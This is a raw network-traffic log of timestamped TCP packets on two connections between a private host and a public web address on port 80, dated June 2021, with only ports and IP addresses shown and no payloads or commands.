Jun 16, 2021 12:05:57.862185955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862204075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862219095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862234116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862243891 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.862524986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862556934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862571955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862586021 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.862595081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862598896 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.862618923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862634897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862649918 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862664938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862668991 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.862679958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.862692118 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.862695932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863054037 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.863468885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863493919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863518000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863545895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863559008 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.863574028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863590956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863605976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863621950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863622904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.863636971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863655090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863672018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863687038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.863688946 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.864088058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.864423037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.864526987 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.864579916 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.892154932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.892190933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.892205954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.892221928 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.892236948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.892251968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.892263889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.892265081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.892287970 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.894195080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.894227028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.894253016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.894269943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.894274950 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.895034075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.895277977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.895297050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.895654917 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.895662069 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.896265984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.896285057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.897284031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.897301912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.897342920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.897353888 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.898320913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.898339987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.899343967 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.899363041 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.899805069 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.900567055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.900584936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.901395082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.901413918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.902050018 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.902424097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.902442932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.903470039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.903487921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.904871941 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.904886007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.905155897 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.905419111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.936796904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.936821938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.936887026 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.937248945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.937268019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.937314987 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.938272953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.938292980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.939308882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.939327955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.939443111 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.939884901 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.940610886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940646887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940675020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940690994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940717936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940723896 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.940733910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940749884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940768003 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940783978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940783978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.940798998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940814972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940829039 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.940838099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940853119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940867901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.940886974 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.941112995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941140890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941164017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941173077 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.941184998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941200972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941215992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941239119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941248894 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.941255093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941270113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941287994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941320896 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.941844940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.941863060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942059040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942090034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942096949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.942101955 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.942116022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942142963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942169905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942184925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942186117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.942199945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942217112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942234039 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.942235947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942253113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942267895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942282915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942301035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.942929029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.942946911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943006039 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943032026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943048954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943052053 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.943073034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943084002 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.943095922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943136930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943152905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943166971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943171978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.943182945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943197966 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943231106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.943527937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943542957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.943964005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.943989992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944013119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944036961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944041967 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.944046974 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.944063902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944082975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944098949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944113970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944116116 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.944128990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944144011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944159985 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944179058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944179058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.944195032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944962978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.944999933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945003986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.945029974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945055008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945077896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945090055 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.945091963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945108891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945123911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945138931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945141077 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.945154905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945171118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945188999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945204973 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.945205927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945893049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945919037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945923090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.945943117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945952892 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.945966959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.945990086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946006060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946021080 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946037054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946047068 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.946052074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946063995 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.946068048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946085930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946098089 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.946103096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946837902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946867943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946880102 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.946891069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946908951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946929932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946943045 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.946953058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946968079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946981907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.946999073 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.947005033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947021008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947048903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947052956 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.947066069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947084904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947101116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947127104 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.947854042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947871923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947887897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947901964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.947922945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.948035955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948054075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948225975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948250055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948265076 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.948268890 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.948271036 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.948272943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948297024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948306084 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.948312998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948328018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948343992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948364973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948375940 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.948380947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948395967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948414087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.948446989 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.949070930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949100018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949122906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949143887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949146032 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.949167967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949182987 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.949189901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949217081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949235916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949238062 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.949248075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.949251890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949273109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949282885 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.949291945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949307919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949321985 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.949357033 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.949846983 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.950107098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950124025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950153112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950175047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950196028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950218916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950228930 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.950233936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950253010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950258017 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.950287104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950305939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950320005 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.950321913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950336933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950352907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.950370073 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.951072931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951098919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951133013 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.951143026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951169014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951184988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951204062 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951219082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.951220036 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951235056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951250076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951265097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951267958 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.951280117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951296091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951308966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.951323986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.951363087 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.952014923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.952033043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.952044964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.952064037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.952068090 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.952091932 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.952153921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.952172995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.953203917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.953222990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.953249931 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.953259945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.954255104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.954963923 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.955090046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.955260038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.955277920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.956296921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.956315994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.957365990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.957389116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.957421064 CEST	49170	80	192.168.2.22	172.67.158.27
